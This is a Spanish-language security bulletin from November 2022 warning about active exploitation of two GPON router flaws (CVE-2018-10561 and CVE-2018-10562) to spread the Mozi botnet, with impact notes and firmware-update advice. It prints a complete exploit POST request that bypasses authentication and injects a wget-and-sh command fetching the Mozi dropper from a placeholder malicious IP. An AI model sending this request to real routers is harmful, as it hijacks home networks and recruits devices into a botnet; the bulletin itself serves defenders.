BOLETÍN DE ALERTA

Boletín Nro.: 2022-47
Fecha de publicación: 08/11/2022
Tema: Explotación activa de vulnerabilidades de ejecución remota de código (*RCE*) en enrutadores domésticos GPON

Los productos afectados son:

- ZNID-GPON-25xx.
- ONT GPON serie H640.

Descripción:

Recientemente, mediante una investigación conjunta con investigadores de la compañía RYMTECH, se ha detectado una campaña activa de explotación masiva de vulnerabilidades que afectan a enrutadores domésticos *GPON.* Los dispositivos GPON son dispositivos de red óptica pasiva que utiliza fibra óptica y que normalmente es proveída por el propio proveedor de servicio de Internet (ISP).

Se trata de vulnerabilidades ya conocidas las cuales, explotadas de manera combinada, permitirían a un atacante realizar inyección de comandos y omisión de autenticación, permitiendo el control total de los equipos, y por ende, del tráfico que es enrutado desde y hacia éste.

- CVE-2018-10561 de severidad "crítica", con una puntuación asignada de 9.8. Esta vulnerabilidad se debe a una falla de control en la URL */menu.html?images/* o */GponForm/diag_FORM?images/*. Esto permitiría a un atacante realizar omisión de autenticación y acceder como administrador del dispositivo.

- CVE-2018-10562 de severidad "crítica", con una puntuación asignada de 9.8. Esta vulnerabilidad se debe a una falla en el parámetro *dest_host* en la solicitud *diag_action=ping.* Esto permitiría a un atacante remoto realizar inyección de comandos.

En los casos de explotación que se observaron, las víctimas reciben correos de phishing, mayormente genéricos, con enlaces que contienen un payload codificado en base64, que al ser llamados desde un dispositivo tipo OTN (o de arquitectura ARM7), ejecutan una petición POST con los siguientes parámetros:

```
POST /GponForm/diag_Form?images/ HTTP/1.1

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://<IP_maliciosa>:<puerto>/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
```

Dicha petición permite explotar ambas vulnerabilidades de manera combinada, evadiendo la autenticación al dispositivo y ejecutando comandos arbitrarios. En el ejemplo anterior, se

descargará el archivo Mozi.m desde una IP y puerto determinado y se guardará en una carpeta temporal, desde donde se ejecutará el binario.

En este caso particular, se trata del dropper de un malware propio de la botnet de IoT llamada Mozi. Puede encontrar más información sobre esta Botnet aquí:

- https://www.microsoft.com/en-us/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/
- https://blog.netlab.360.com/mozi-another-botnet-using-dht/

Cabe destacar que esta botnet cuenta con la capacidad de explotar vulnerabilidades de otro tipo de dispositivos muy utilizados en Paraguay, entre ellos Netgear, Huawei y ZTE.
Además, debe tenerse en cuenta que los modelos afectados del fabricando Dasan Zhone Solutions Inc. Así como el firmware afectado por la vulnerabilidad fue desarrollado por un proveedor OEM (""caja blanca", genérico) y revendido a Dasan, por lo que es posible que la misma vulnerabilidad esté presente en otras marcas y modelos.

Impacto:

La explotación exitosa de estas vulnerabilidades permitiría a un atacante realizar inyección de comandos y tomar el control del router de borde, pudiendo espiar y manipular el tráfico de toda la red (MITM mediante DNS spoofing y HTTP hijacking), pudiendo comprometer los dispositivos de la misma.

Solución:

Recomendamos realizar la actualización del firmware de los enrutadores *GPON* de acuerdo a cada versión, siguiendo los pasos detallados en el siguiente enlace correspondiente:

- https://www.thunder-link.com/blog/how-to-download-the-software-and-firmware-of-ont/

En caso de que no cuente con acceso o control sobre su dispositivo, consulte con su proveedor de servicio de Internet (ISP) sobre el procedimiento de actualización.

Información adicional:

- https://securityaffairs.co/wordpress/71987/hacking/gpon-home-routers-hack.html
- https://github.com/f3d0x0/GPON
- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
- https://nvd.nist.gov/vuln/detail/CVE-2018-10561
- https://nvd.nist.gov/vuln/detail/CVE-2018-10562